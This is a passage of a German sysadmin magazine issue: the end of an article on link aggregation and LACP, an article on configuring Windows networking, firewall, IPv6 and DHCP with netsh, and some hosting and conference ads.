ist im Kasten „MAC-basierte Lastverteilung“<br />
zu sehen. Weitere Lastverteilungs-Algorithmen<br />
von unterschiedlichen<br />
Switches und Betriebssystemen finden<br />
sich unter [2].<br />
Statisch oder dynamisch?<br />
Bei der statischen Link Aggregation werden<br />
alle Konfigurationsparameter einmalig<br />
auf beiden beteiligten Komponenten<br />
einer LAG eingerichtet. Solange ein Link<br />
einer LAG ’Up’ ist, wird bei statischer<br />
Link Aggregation dieser Link auch für<br />
die Datenübertragung verwendet. Beim<br />
Einsatz von Medienkonvertierern kann<br />
es aber vorkommen, dass der Link am<br />
Switch zwar ’Up’, die Verbindung zum<br />
Switch an der Gegenstelle jedoch unterbrochen<br />
ist. In diesem Fall sendet der<br />
Switch weiterhin Daten über diese Verbindung,<br />
die Datenübertragung ist damit<br />
unterbrochen.<br />
Mehr Kontrolle hat man bei der dynamischen<br />
Link Aggregation mit dem Link<br />
Aggregation Control Protocol (LACP), das<br />
den Austausch von Informationen über<br />
die Link Aggregation zwischen den zwei<br />
beteiligten Mitgliedern erlaubt (Abbildung<br />
3). Diese Informationen werden in<br />
LACPDUs (Link Aggregation Control Protocol<br />
Data Units) verpackt. Jeder einzelne<br />
Switch-Port einer solchen dynamischen<br />
LAG kann als Active LACP oder Passive<br />
LACP konfiguriert werden:<br />
n Passive LACP: Der Port bevorzugt,<br />
von sich aus keine LACPDUs zu übertragen.<br />
Nur wenn die Gegenstelle<br />
Active LACP hat, überträgt der Port<br />
LACPDUs (preference not to speak<br />
unless spoken to).<br />
n Active LACP: Der Port bevorzugt,<br />
LACPDUs zu übertragen und somit<br />
das Protokoll zu sprechen – unabhängig<br />
davon, ob die Gegenstelle Passive<br />
LACP hat oder nicht (a preference to<br />
speak regardless).<br />
Dynamische Link Aggregation mit LACP<br />
bietet <strong>gegen</strong>über der statischen Version<br />
folgende Vorteile:<br />
n Der Ausfall eines physischen Links<br />
wird selbst dann erkannt, wenn die<br />
Punkt-zu-Punkt-Verbindung über einen<br />
Medienkonverter läuft und damit<br />
der Link-Status am Switchport auf<br />
’Up’ bleibt. Da LACPDUs auf dieser<br />
Verbindung damit ausbleiben, wird<br />
dieser Link aus der LAG entfernt. Somit<br />
gehen keine Pakete verloren.<br />
n Die beiden Geräte können sich <strong>gegen</strong>seitig<br />
die LAG-Konfiguration bestätigen.<br />
Bei statischer Link Aggregation<br />
werden Fehler meist nicht so schnell<br />
erkannt.<br />
Betriebssysteme<br />
Linux unterstützt mit dem Mode 4<br />
(802.3ad) des Bonding-Treibers dynamische<br />
Link Aggregation. Auch FreeBSD<br />
bringt alle Voraussetzungen für dynamische<br />
Link Aggregation von Haus aus mit.<br />
Bei Windows hängt es bei allen bisherigen<br />
Versionen inklusive Windows <strong>Server</strong><br />
2008 R2 vom Netzwerkkartentreiber ab,<br />
ob Link Aggregation möglich ist. Windows<br />
<strong>Server</strong> 2012 wird hin<strong>gegen</strong> von sich<br />
aus sowohl statische als auch dynamische<br />
Link Aggregation nach IEEE 802.1ax<br />
unterstützen [5]. VMware ESX/ESXi 4.0,<br />
4.1 & ESXi 5.x unterstützen Link Aggregation,<br />
allerdings nur statisch [6].<br />
Fazit<br />
Link Aggregation bringt einige Vorteile,<br />
die es zu nutzen lohnt. Die Ein richtung<br />
erfordert nur wenige Schritte, zwei<br />
Links für eine Link Aggregation Group<br />
lassen den Netzwerkverkehr bei einem<br />
Kabel- oder Switchportdefekt aufrecht<br />
bleiben. Auch in Bezug auf eine höhere<br />
Netzwerkbandbreite ist Link Aggregation<br />
gut – aber nicht so gut wie eine fettere<br />
Leitung. (ofr)<br />
n<br />
Infos<br />
[1] IEEE Standard for Local and Metropolitan<br />
Area Networks – Link Aggregation: [http://<br />
standards. ieee. org/ getieee802/ download/<br />
802. 1AX‐2008. pdf]<br />
[2] Link Aggregation / Lastverteilungs-<br />
Algorithmen: [http:// www. thomas‐krenn.<br />
com/ de/ wiki/ Link_Aggregation_Lastverteilungs‐Algorithmen]<br />
[3] Linux Ethernet Bonding Driver<br />
Howto: [http:// www. kernel. org/ doc/<br />
Documentation/ networking/ bonding. txt]<br />
[4] FreeBSD Handbook, Link Aggregation and<br />
Failover: [http:// www. freebsd. org/ doc/ en/<br />
books/ handbook/ network‐aggregation.<br />
html]<br />
[5] Windows <strong>Server</strong> 2012 „<strong>Server</strong> 8 Beta“ NIC<br />
teaming: [http:// blogs. technet. com/ b/<br />
meamcs/ archive/ 2012/ 04/ 01/ windows‐serv<br />
er‐8‐beta‐nic‐teaming. aspx]<br />
[6] Does ESX/ESXi 4.0, 4.1 & ESXi 5.x support<br />
802.3ad Dynamic? [http:// kb. vmware. com/<br />
kb/ 1010270]<br />
Der Autor<br />
Werner Fischer ist seit 2005 Technology Specialist<br />
bei der Thomas-Krenn.AG und Chefredakteur<br />
des Thomas Krenn Wikis.<br />
Seine Arbeitsschwerpunkte<br />
liegen in den Bereichen<br />
Hardware-Monitoring, Virtualisierung,<br />
I/O Performance<br />
und Hochverfügbarkeit.<br />
26 Ausgabe 04-2012 Admin www.admin-magazin.de
IT-Leistungen für Ihr Business<br />
Innovativ, sicher und individuell – Unsere IT-Produkte und Services überzeugen seit<br />
über 20 Jahren durch Qualität und Performance. KAMP entwickelt Lösungen für eine<br />
sichere und leistungsstarke IT. Unsere Experten informieren und beraten Sie gerne<br />
unter 0208.89402-35 persönlich. KAMP – wir verbinden die Zukunft.<br />
www.kamp.de
Netzwerk<br />
Netshell<br />
© Christian Delbert, 123RF<br />
Die Netshell optimal nutzen<br />
Schweizer<br />
Netzwerkmesser<br />
Windows bietet viele Möglichkeiten für die Netzwerkkonfiguration in der grafischen Oberfläche. Wer aber alle<br />
Funktionen ausloten möchte, muss auf der Kommandozeile die Netshell nutzen. Sie ermöglicht die Konfiguration<br />
diverser zusätzlicher Parameter des TCP/IP-Stacks und der Netzwerkdienste. Eric Amberg<br />
Die Netshell ist seit Windows 2000 fester<br />
Bestandteil jeder Windows-Version. Sie<br />
basiert auf einem Kernprogramm, das<br />
sich durch sogenannte Netshell-Helper<br />
erweitern lässt. Diese Helper sind Bibliotheken<br />
(DLL-Dateien), die über die Netshell-API<br />
auch erweitert werden können.<br />
Mit der Netshell können Sie zum Beispiel<br />
die folgenden Aufgaben erledigen:<br />
n Netzwerkschnittstellen konfigurieren<br />
n Windows-Firewall konfigurieren<br />
n Anzeigen diverser Netzwerk-Parameter<br />
n Konfiguration von Netzwerkdiensten<br />
n IPv6 konfigurieren<br />
Die Netshell steht sowohl auf Client- als<br />
auch auf <strong>Server</strong>varianten von Windows<br />
zur Verfügung. Wird auf einem Windows-<br />
<strong>Server</strong> ein zusätzlicher Netzwerkdienst,<br />
wie DHCP installiert, stellt Windows in<br />
einigen Fällen einen entsprechenden<br />
Netshell-Helper bereit, um diese Komponente<br />
über Netshell steuern zu können.<br />
Sie können die Netshell auf zwei Arten<br />
verwenden. Zum einen ist es möglich,<br />
jedes Netshell-Kommando komplett in<br />
einer Zeile aufzurufen. Dies bietet sich<br />
insbesondere für Batch-Skripts an. Alternativ<br />
stellt die Netshell eine interaktive<br />
Umgebung bereit, in der Sie Befehle<br />
eingeben können. Diese Variante stellt<br />
umfassende Hilfen bereit, um sich auch<br />
als Einsteiger zurechtzufinden.<br />
Sie gelangen in diese Umgebung durch<br />
Eingabe von »netsh« in der Eingabeaufforderung.<br />
Beachten Sie unter Windows<br />
Vista und Windows 7, dass die Eingabeaufforderung<br />
mit erhöhten Rechten aufgerufen<br />
werden muss, wenn Sie in der<br />
Netshell die Systemkonfiguration ändern<br />
möchten.<br />
Auf den Kontext kommt<br />
es an<br />
Bei der Arbeit mit dem Programm ist es<br />
wichtig, die Struktur der Netshell zu verstehen,<br />
die auf Kontexten basiert, die die<br />
die einzelnen Netshell-Helper repräsentieren.<br />
Jeder Kontext bezieht sich auf eine<br />
bestimmte Netzwerk-Funktionalität wie<br />
zum Beispiel IP-, Firewall-, IPSec- oder<br />
DHCP-Client-Konfiguration. Abbildung 1<br />
zeigt die Ausgabe der Hilfe-Funktion, die<br />
zu jeder Zeit durch Eingabe des Fragezeichens<br />
»?« aufgerufen werden kann.<br />
In der interaktiven Oberfläche können<br />
Sie zwischen den einzelnen Kontexten<br />
wechseln. Welche Kontexte zur Verfügung<br />
stehen, zeigt die untere Sektion der<br />
Hilfeausgabe mit dem Titel »Folgende Unterkontexte<br />
sind verfügbar«. In der Hilfe<br />
finden Sie darüber hinaus alle Befehle,<br />
die grundsätzlich und im jeweiligen Kontext<br />
verfügbar sind. Die Liste der Befehle<br />
enthält auch diejenigen Kommandos, die<br />
in einen anderen Kontext führen.<br />
Orientierungshilfe<br />
Der Netshell-Prompt zeigt den jeweiligen<br />
Kontext an. Wechseln Sie zum Beispiel<br />
durch Eingabe von »interface« in<br />
den Interface-Kontext, gibt der Prompt<br />
»netsh interface>« aus. Die Ebenen sind<br />
hierarchisch gegliedert. Innerhalb eines<br />
Kontextes können Sie in den Unterkontext<br />
eines Befehls wechseln. So bietet<br />
zum Beispiel der Kontext »Interface« den<br />
Befehl »ipv4«. Auch hier zeigt der Prompt<br />
mit »netsh interface ipv4>« die Ebene<br />
an. Durch Eingabe von zwei Punkten »..«<br />
gelangen Sie in die jeweils übergeordnete<br />
Ebene. Analog zur Windows-Eingabeauf-<br />
28 Ausgabe 04-2012 Admin www.admin-magazin.de
Netshell<br />
Netzwerk<br />
forderung können Sie durch<br />
die Cursor-auf- und Cursorab-Tasten<br />
durch die Befehlshistorie<br />
navigieren.<br />
Ich zeig dir, wie<br />
es geht<br />
Neben der allgemeinen Hilfe,<br />
die die verfügbaren Befehle<br />
zeigt, verfügt die Netshell<br />
auch über eine detaillierte<br />
Hilfeausgabe für jeden einzelnen<br />
Befehl. Befinden Sie<br />
sich zum Beispiel im Kontext<br />
»netsh interface ipv4« und<br />
geben »set ?« ein, zeigt die<br />
Net shell die verfügbaren weiteren<br />
Befehle (Abbildung 2).<br />
Doch Achtung: »set« ist kein<br />
eigener Unterkontext, sondern<br />
ein Befehl mit weiteren<br />
Unterbefehlen und Parametern.<br />
Geben Sie »set« ein,<br />
bleibt der Kontext gleich.<br />
Stattdessen müssen Sie, nachdem<br />
Sie die Hilfeausgabe studiert<br />
haben, den Befehl mit<br />
gewünschtem Unterbefehl<br />
angeben, zu dem Sie jedoch<br />
wiederum Hilfe erhalten können.<br />
So zeigt die Eingabe von<br />
»set addresse ?« eine ausführliche<br />
Syntax-Beschreibung zu<br />
eben jenem Kommando, wie<br />
in Abbildung 3 zu sehen.<br />
Dabei werden dankenswerterweise<br />
auch Beispiele angegeben,<br />
die den Einsatz des<br />
jeweiligen Netshell-Befehls<br />
verdeutlichen.<br />
Zur Praxis<br />
Im Folgenden zeigt dieser<br />
Artikel einige typische Aufgabenstellungen,<br />
die Sie mit<br />
der Netshell konsolenbasiert<br />
lösen können. Während die<br />
eine oder andere Aufgabe<br />
auch in der GUI mit Dialogfenstern<br />
zu bewerkstelligen<br />
ist, gibt es andere Aufgaben,<br />
für die die Netshell der einzige<br />
Weg ist. Dies bezieht<br />
sich zum Beispiel auf diverse<br />
Einstellungen für IPv6 oder<br />
Branchcache. Insbesondere<br />
die Show-Befehle zeigen Details,<br />
die Ihnen die grafische<br />
Oberfläche vorenthält.<br />
Für die Konfiguration und<br />
Bearbeitung der Netzwerkschnittstellen<br />
Ihres Systems<br />
wechseln Sie in den Kontext<br />
»netsh interface ipv4«. Dort<br />
können Sie sich zunächst<br />
durch die Eingabe des Befehls<br />
»show config« einen<br />
Überblick verschaffen. Die<br />
Ausgabe zeigt die IP-Adresskonfiguration<br />
in einer ähnlichen<br />
Weise wie »ipconfig« in<br />
der Eingabeaufforderung.<br />
Möchten Sie die Interface-<br />
Konfiguration anpassen,<br />
sind oft mehrere Konfigurationsbefehle<br />
notwendig. Das<br />
folgende Beispiel zeigt, wie<br />
Sie einige Parameter für die<br />
Standard-Ethernet-Schnittstelle<br />
setzen: IP-Adresse<br />
10.10.1.20, Subnetzmaske<br />
255.255.255.0, Standardgateway<br />
10.10.1.1 und als DNS-<br />
<strong>Server</strong> 10.10.1.254.<br />
Schnittstelle<br />
Den Namen der entsprechenden<br />
Schnittstelle ermitteln<br />
Sie wie gezeigt mit »show<br />
config«n. In der deutschen<br />
Version von Windows heißt<br />
die erste Ethernet-Schnittstelle<br />
»LAN‐Verbindung«. Die<br />
ersten drei Parameter setzen<br />
Sie mit dem Befehl<br />
netsh interface ipv4 set U<br />
address "LAN‐Verbindung" U<br />
static 10.10.1.20 255.255.255.U<br />
0 10.10.1.1<br />
Ist der Befehl erfolgreich,<br />
gibt die Netshell nichts aus,<br />
ansonsten erhalten Sie eine<br />
Meldung, die einen Hinweis<br />
auf den Fehler liefert.<br />
Um nun noch den oder die<br />
DNS-<strong>Server</strong> zu konfigurieren<br />
ergänzen Sie den folgenden<br />
Befehl:<br />
set dnsservers "LAN‐Verbindung"U<br />
static 10.10.1.254.<br />
E<br />
Abbildung 1: Die interaktive Netshell bietet eine eingebaute Hilfe-Funktion.<br />
Abbildung 2: Set-Befehle im Kontext eines IPv4-Interfaces.<br />
Abbildung 3: Die zum Einstellen einer IPv4-Adresse verfügbaren Befehle.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
29
Netzwerk<br />
Netshell<br />
Beachten Sie, dass die Netshell den angegebenen<br />
DNS-<strong>Server</strong> sofort prüft und<br />
eine Warnmeldung ausgibt, wenn der<br />
DNS-<strong>Server</strong> nicht erreichbar ist. Der Eintrag<br />
wird unabhängig davon in jedem<br />
Fall vorgenommen, wie Sie sich im Anschluss<br />
durch Eingabe des Kommandos<br />
»ipconfig /all« in einer separaten Eingabeaufforderung<br />
überzeugen können. Die<br />
Änderungen werden übrigens dauerhaft<br />
übernommen.<br />
Mehrwert<br />
Soweit hätten Sie das auch problemlos in<br />
der grafischen Eingabemaske der IPv4-<br />
Konfiguration der Schnittstelle vornehmen<br />
können. Mit der Netshell können<br />
Sie aber auch spezielle Parameter festlegen,<br />
die in keiner GUI-Maske auftauchen.<br />
Hierzu gehören Tuning-Werte für<br />
den TCP/IP-Stack und Sicherheitseinstellungen.<br />
So können Sie zum Beispiel mit<br />
dem Befehl<br />
set global icmpredirects=disabled<br />
im Kontext »netsh interface ipv4« festlegen,<br />
dass das System nicht auf ICMP-<br />
Redirect-Meldungen reagiert, die eine Änderung<br />
des Routings bewirken und daher<br />
in puncto Sicherheit bedenklich sind.<br />
Sie können Werte auch ergänzen oder<br />
löschen. Möchten Sie einen weiteren<br />
DNS-<strong>Server</strong> hinzufügen, so lautet der Befehl<br />
»add dnsservers "LAN‐Verbindung"<br />
10.10.200.100 index=2«, wobei der Index<br />
die Priorität angibt. Haben Sie sich<br />
vertan, löschen Sie den DNS-<strong>Server</strong> mit<br />
»delete dnsservers "LAN‐Verbindung"<br />
10.10.200.100«. Überprüfen Sie mit »ipconfig<br />
/all« die Ergebnisse der Konfigurationsschritte.<br />
Auch die Netshell hat ihre Grenzen. So<br />
ist es zum Beispiel nicht möglich, das<br />
DNS-Suffix zu ändern. Möchten Sie dies<br />
ohne GUI anpassen, benötigen Sie andere<br />
Tools wie »netdom« oder die Gruppenrichtlinien.<br />
Beides funktioniert nur in<br />
Active-Directory-Domänenumgebungen.<br />
Die Windows-Firewall<br />
anpassen<br />
Windows <strong>Server</strong> 2003 die alte Windows-<br />
Firewall ihren Dienst tat, existiert seit<br />
Windows Vista und Windows <strong>Server</strong><br />
2008 die „Windows Firewall mit erweiterter<br />
Sicherheit“. Für sie existiert ein<br />
eigenes Snap-In für die grafische Administrationskonsole<br />
(Abbildung 4). Doch<br />
in Fällen, in denen entweder skriptbasiert<br />
oder mangels grafischer Oberfläche mit<br />
der Kommandozeile gearbeitet werden<br />
muss (typischerweise im Windows <strong>Server</strong><br />
Core), hilft die Netshell weiter.<br />
Durch Eingabe von »advfirewall« gelangen<br />
Sie in den Kontext für die erweiterte<br />
Firewall. Der Befehl »show currentprofile«<br />
zeigt grundlegende Einstellungen<br />
zum <strong>gegen</strong>wärtigen Netzwerkprofil,<br />
das seit Windows Vista zwischen Heimnetzwerk,<br />
Arbeitsplatz, Öffentlich und<br />
Domäne unterschieden wird. Die Hilfe<br />
rufen Sie wie gewohnt über »show ?«<br />
auf. Sie zeigt, dass Sie in diesem Kontext<br />
jedes Profil einzeln anzeigen lassen, aber<br />
auch alle Profile in der Übersicht aufrufen<br />
können.<br />
Möchten Sie Firewall-Regel konfigurieren,<br />
wechseln Sie in den Subkontext<br />
»firewall«. Der Prompt zeigt nun »netsh<br />
advfirewall firewall>«. Hier können Sie<br />
sich Firewall-Regeln anzeigen, erstellen,<br />
ändern und löschen. Die Schwierigkeit<br />
liegt darin, die entsprechende Regel beziehungsweise<br />
ihren Namen zu ermitteln.<br />
Mit »show rule all« können Sie sich alle<br />
Regeln anzeigen lassen, sollten jedoch<br />
auf eine ziemlich lange Liste gefasst sein,<br />
da nicht nur alle eingehenden und ausgehenden<br />
Regeln, sondern auch alle Profile<br />
angezeigt werden. Ein Beispiel für die<br />
Ausgabe einer Regel zeigt Abbildung 5.<br />
Regelbasiert<br />
In vielen Fällen ist die benötigte Regel bereits<br />
vorhanden, aber deaktiviert. Möchten<br />
Sie zum Beispiel die Regel »Windows‐Firewallremoteverwaltung<br />
(RPC)«<br />
aktivieren, nutzen Sie den Befehl »set<br />
rule "Windows‐Firewallremoteverwaltung<br />
(RPC)" new enable=yes«. In diesem<br />
Fall liefert die Netshell unter Umständen<br />
sogar eine Antwort, wie zum Beispiel<br />
»2 Regel(n) wurde(n) aktualisiert. OK«.<br />
Dies kommt daher, dass dieselbe Regel<br />
für zwei verschiedene Profile bereitgestellt<br />
wurde. Viele Standardregeln sind<br />
in Gruppen organisiert. Durch Angabe<br />
der Gruppe können alle zugehörigen<br />
Regeln zugleich bearbeitet werden. Die<br />
Beispielregel gehört der Gruppe »Windows‐Firewallremoteverwaltung«<br />
an. Alle<br />
zugehörigen Regeln können somit auf<br />
einmal aktiviert werden:<br />
set rule group="Windows‐FirewallremoteU<br />
verwaltung" new enable=yes<br />
Beachten Sie, dass in vielen Quellen und<br />
Tutorials die englischen Bezeichnungen<br />
genannt werden. Sie funktionieren auf einem<br />
deutschsprachigen Windows nicht.<br />
Eine weitere Aufgabe, die häufig über<br />
die Netshell durchgeführt wird, ist die<br />
Anpassung der Windows-Firewall. Während<br />
bis Windows XP beziehungsweise<br />
Abbildung 4: Für die neue Windows-Firewall gibt es ein grafisches Administrations-Snap-In.<br />
30 Ausgabe 04-2012 Admin www.admin-magazin.de
Möchten Sie eine neue Regel erstellen,<br />
haben Sie die Auswahl aus einer Fülle an<br />
Parametern. Mit »set rule ?« können Sie<br />
die Syntax aufrufen und einige grundlegende<br />
Beispiele studieren. Das folgende<br />
Beispiel zeigt die Erstellung einer Regel,<br />
die Netzwerktraffic auf den lokalen<br />
HTTP-Port 80/tcp vom Netz 192.168.1.0/<br />
24 zulässt und für das Domänenprofil<br />
gilt:<br />
Sie gelangen in den IPv6-Kontext analog<br />
zu IPv4 durch Eingabe von »interface<br />
ipv6« und befinden sich anschließend im<br />
Kontext »netsh interface ipv6«. Der Befehl<br />
»show route« zeigt die IPv6-Routing-<br />
Tabelle an. Der Befehl »show addresses«<br />
listet die IPv6-Adressen für alle Schnittstellen<br />
auf. Die Ausgabe umfasst auch<br />
spezielle Adressen, die von »ipconfig /<br />
all« nicht angezeigt werden.<br />
add rule name="Lokaler Webserver" dir=inU<br />
action=allow profile=domain localip=any U<br />
remoteip=192.168.1.0/24 localport=80 U<br />
remoteport=1024‐65535 protocol=tcp<br />
Dies legt den Namen der Regel als »Lokaler<br />
Webserver« fest, wobei die Richtung<br />
der Regel (»dir«) eingehend (»in«) ist.<br />
Der Remoteport ist der Bereich zwischen<br />
1024 und 65535, da es sich hierbei um<br />
die von Client-Applikationen regulär genutzten<br />
Ports handelt. Weitere Beispiele<br />
finden Sie in der Ausgabe der Hilfe zu<br />
»add rule«.<br />
IPv6 konfigurieren<br />
IPv6 bringt einige neue Konzepte und<br />
Features mit, die eine spezielle Konfiguration<br />
erfordern. Zwar bieten die Konfigurationsdialogfenster<br />
der Netzwerkschnittstellen<br />
seit Windows Vista auch<br />
die Grundkonfiguration von IPv6, jedoch<br />
werden Sie in der Praxis oft nicht umhinkommen,<br />
mit der Netshell zusätzliche<br />
Parameter anzupassen. Darüber hinaus<br />
lassen sich diverse Zustände von IPv6<br />
nur in der Netshell anzeigen, so zum Beispiel<br />
die Routing-Tabelle, die in älteren<br />
Windows-Versionen noch nicht mit »netstat<br />
‐nr« beziehungsweise »route print«<br />
angezeigt wird.<br />
Unicast und Anycast<br />
Für eine detaillierte Konfiguration von<br />
IPv6 sind entsprechende weiterführende<br />
Parameter notwendig. Möchten Sie eine<br />
globale Unicast-Adresse für die Schnittstelle<br />
»LAN‐Verbindung« setzen, nutzen<br />
Sie den Befehl »add address "LAN‐Verbindung"<br />
2001:db8:10::5«. Die Angabe einer<br />
Subnetzmaske entfällt, da die Grenze<br />
zwischen Netz- und Hostanteil bei IPv6-<br />
Adressen immer bei 64 Bit liegt. Beachten<br />
Sie, dass Sie einer einzelnen Schnittstelle<br />
mehrere IPv6-Adressen zuweisen<br />
können. Eine IPv6-Anycast- Adresse<br />
2001:db8:aa:bb:cc::1 ergänzen Sie durch<br />
den folgenden Befehl:»add address<br />
2001:db8:aa:bb:cc:1 type=anycast«.<br />
Eines der wichtigsten Features bei IPv6<br />
ist die Auto-Konfiguration, wodurch sich<br />
ein IPv6-System eine global eindeutige<br />
IPv6-Adresse selbst vergeben kann. In<br />
der ursprünglichen Version integrieren<br />
diese Adressen die MAC-Adresse der jeweiligen<br />
Schnittstelle und ermöglichen so<br />
eine weltweite Nachverfolgbarkeit. Um<br />
dies zu verhindern, wurden die Privacy-<br />
Extensions [1], sogenannte temporäre<br />
Adressen, eingeführt. Hier werden die<br />
automatischen Adressen derart gebildet,<br />
dass eine Rückverfolgung anhand der<br />
Abbildung 5: Die Netshell kann auch Firewalls verwalten. Hier die Anzeige einer Regel.<br />
HPC meets Cloud -<br />
The International Conference<br />
on the Use of Cloud for High<br />
Performance Computing (HPC)<br />
Register Today!<br />
www.isc-events.com/cloud12<br />
Keynote:<br />
The Helix Nebula Initiative<br />
Bob Jones – CERN<br />
Rupert Lueck – EMBL<br />
Wolfgang Lengert – ESA<br />
Highlights:<br />
Industrial Cloud - Best Practices<br />
Research Cloud - User Experiences<br />
Engineering Clouds -<br />
Commercial Software in the Cloud<br />
Big Data Cloud Computing<br />
Panel: HPC Cloud Challenges<br />
Vendor Panel with Sponsors<br />
Interactive BoFs on Hot Topics of HPC<br />
Full Catering<br />
Get Together Networking Party<br />
www.admin-magazin.de<br />
Ausgabe 04-2012<br />
31
Netzwerk<br />
Netshell<br />
Abbildung 6: Auch der DHCP-<strong>Server</strong> lässt sich mit der Netshell konfigurieren. Hier das Ergebnis in der<br />
Management-Konsole.<br />
MAC-Adresse nicht mehr möglich ist.<br />
Ob diese Privacy-Extensions auf Ihrem<br />
System aktiviert sind, ermitteln Sie mit<br />
»show privacy«. Sie aktivieren dieses<br />
Feature mit »set privacy state=enabled«.<br />
Der Aufruf »set privacy state=disabled«<br />
schaltet es aus und aktiviert wieder das<br />
ursprüngliche EUI-64-Format.<br />
Die temporären Adressen haben nur eine<br />
gewisse Zeit lang Gültigkeit, bevor sie<br />
erneuert werden müssen. Möchten Sie<br />
die dafür zuständigen Parameter tunen,<br />
können Sie dies ebenfalls durch »set privacy«<br />
tun, die Hilfe rufen Sie wie üblich<br />
mit »set privacy ?« auf. Hier finden Sie die<br />
vorhandenen Parameter wie »maxvalidlifetime«<br />
oder »maxpreferredlifetime«, die<br />
das Verhalten der temporären Adressen<br />
regeln.<br />
Netshell serverseitig<br />
Installieren Sie auf einem Windows-<br />
<strong>Server</strong> bestimmte Dienste, werden zum<br />
Teil Netshell-Helper für entsprechende<br />
Kontexte mitinstalliert, die eine Verwaltung<br />
der betreffenden <strong>Server</strong>komponente<br />
ermöglichen. Zum Beispiel gibt es für<br />
den DHCP-<strong>Server</strong>dienst einen Kontext<br />
namens »dhcp« in der Auswahl der Befehle.<br />
Die Netshell zur Konfiguration von<br />
<strong>Server</strong>diensten zu nutzen, bietet sich insbesondere<br />
bei langsamen WAN-Anbindungen<br />
oder bei einer großen Anzahl<br />
an <strong>Server</strong>n an, die sich dann mithilfe<br />
von Skripts einheitlich und automatisiert<br />
konfigurieren lassen.<br />
Wollen Sie zum Beispiel den DHCP-<strong>Server</strong><br />
konfigurieren, müssen Sie ihn zunächst<br />
im Active Directory autorisieren. Dies<br />
geschieht im Kontext »nethsh dhcp>«<br />
mit dem Befehl »add server server1.windschief.local<br />
192.168.1.50«. Dabei ist der<br />
vollqualifizierte Domänenname sowie die<br />
IP-Adresse des <strong>Server</strong>s nötig. Anschließend<br />
können Sie einen Bereich (Scope)<br />
angeben, aus dem der DHCP-<strong>Server</strong> seine<br />
Adressen vergeben kann. Das folgende<br />
Beispiel zeigt die Erstellung eines Bereiches<br />
namens »Test«:<br />
server 192.168.1.50 add scope 192.168.1.0U<br />
255.255.255.0 Test<br />
Anschließend können Sie den Adressbereich<br />
festlegen:<br />
server 192.168.1.50 scope 192.168.1.0 U<br />
add iprange 192.168.1.100 192.168.1.200<br />
Für den Netzbereich geben Sie die erste<br />
und die letzte IP-Adresse an. Der folgende<br />
Befehl setzt nun noch ein Standardgateway.<br />
Die entsprechende Option<br />
ist »003«:<br />
server 192.168.1.50 scope 192.168.1.0 U<br />
optionvalue 003 ipaddress 192.168.1.254<br />
Schließlich müssen Sie den Bereich noch<br />
aktivieren: »server 192.168.1.50 scope<br />
192.168.1.0 set state 1«. Wer nun mit der<br />
Management-Konsole des DHCP-<strong>Server</strong>s<br />
vergleicht, stellt fest, dass der Bereich<br />
entsprechend eingerichtet wurde und aktiv<br />
ist (Abbildung 6).<br />
Tipps und Fazit<br />
Die Netshell verwendet Kontexte, arbeitet<br />
modular und hierarchisch. Da die<br />
Netshell zwei Modi unterstützt, ist die<br />
Nutzung des Tools anfangs etwas gewöhnungsbedürftig.<br />
Sie können sämtliche<br />
Befehle komplett in einer Zeile eingeben,<br />
wie es etwa für eigene Skripts nötig<br />
ist. In diesem Modus gibt die Netshell<br />
einen Hilfetext aus, der den Anwender<br />
den richtigen Aufruf dokumentiert. In der<br />
interaktiven Shell ist es jedoch deutlich<br />
einfacher, sich durch die einzelnen Ebenen<br />
zu arbeiten.<br />
Interessanterweise hat Microsoft hier<br />
bewährte Konzepte übernommen. Gerade<br />
das Command Line Interface von<br />
Ciscos Internet Operating System (IOS)<br />
stand hier nicht selten Pate: Zum einen<br />
werden Show-Befehle zum Anzeigen der<br />
verschiedenen Konfigurationen genutzt,<br />
zum anderen ist es nicht notwendig, jeden<br />
Befehl komplett auszusschreiben.<br />
Stattdessen reicht es, den Befehl bis zu<br />
seiner Eindeutigkeit zu schreiben. Mit<br />
»netsh int ip show a« erhalten Sie dasselbe<br />
Ergebnis wie mit »netsh interfaces<br />
ipv4 show addresses«.<br />
Die Netshell ist ein nützliches Werkzeug<br />
für die Netzwerkkonfiguration. Mit ihr<br />
ist an vielen Stellen ein Tuning des Netzwerk-Stack<br />
möglich, das die grafischen<br />
Dialogfenster nicht hergeben. Andererseits<br />
muss der Administrator abwägen, ob<br />
die Arbeit mit der Netshell im Einzelfall<br />
wirklich einen Mehrwert bringt, da gerade<br />
Bandbreiten-Argumente für Remote-<br />
Administration eine abnehmende Rolle<br />
spielen. Fast alle Management-Snap-Ins<br />
unterstützen die Verbindung zu anderen<br />
<strong>Server</strong>n mittels RPC. In diesem Fall<br />
spielt die Bandbreite nur eine untergeordnete<br />
Rolle. Die Arbeit mit der Netshell<br />
ist trotzdem in jedem Falle lohnenswert,<br />
denn ein fundiertes Verständnis ihrer<br />
Funktionsweise hilft in Zeiten, da Tuning<br />
und Konfiguration über die Netshell<br />
notwendig werden. (ofr)<br />
n<br />
Infos<br />
[1] IPv6 Privacy Extensions: RFC 4941<br />
Der Autor<br />
Eric Amberg ist Geschäftsführer der ATRACON<br />
GmbH ([http:// www. atracon. de]), seit vielen<br />
Jahren im Bereich IT-Infrastruktur als Trainer<br />
und Consultant tätig und verfügt über langjährige<br />
Projekterfahrung. Sein<br />
besonderer Fokus liegt auf<br />
Netzwerk-Themen. In seinen<br />
Seminaren legt er großen<br />
Wert auf eine praxisnahe<br />
Schulung.<br />
32 Ausgabe 04-2012 Admin www.admin-magazin.de
VIRTUAL POWER &<br />
VOLLER ROOT-ZUGRIFF<br />
Virtual <strong>Server</strong> von HOST EUROPE<br />
Profitieren Sie von garantierten Hardware-Ressourcen, vollem<br />
Root-Zugriff sowie dem Webinterface Parallels® Plesk Panel für<br />
die komfortable <strong>Server</strong>-Administration.<br />
Virtual <strong>Server</strong> Linux<br />
Betriebssyteme<br />
Garantierte CPU-Power<br />
Garantiertes RAM<br />
Speicherplatz (RAID10)<br />
Snapshot Backups<br />
Debian, CentOS, Ubuntu<br />
bis zu 4 x 1,5 GHz<br />
bis zu 8 GB<br />
bis zu 500 GB<br />
inklusive<br />
Vollständige Webserverumgebung:<br />
Apache 2, MySQL 5 und PHP5 sind für Sie<br />
bereits vorinstalliert.<br />
Host Europe SSL-Zertifikat gratis**<br />
Mehr Sicherheit inklusive: Bei der Bestellung<br />
eines Virtual <strong>Server</strong> erhalten Sie das Zertifikat<br />
Host Europe SSL kostenlos.<br />
Virtual <strong>Server</strong> Linux ab<br />
€12, 99<br />
mtl.*<br />
Keine Setupgebühr<br />
www.hosteurope.de<br />
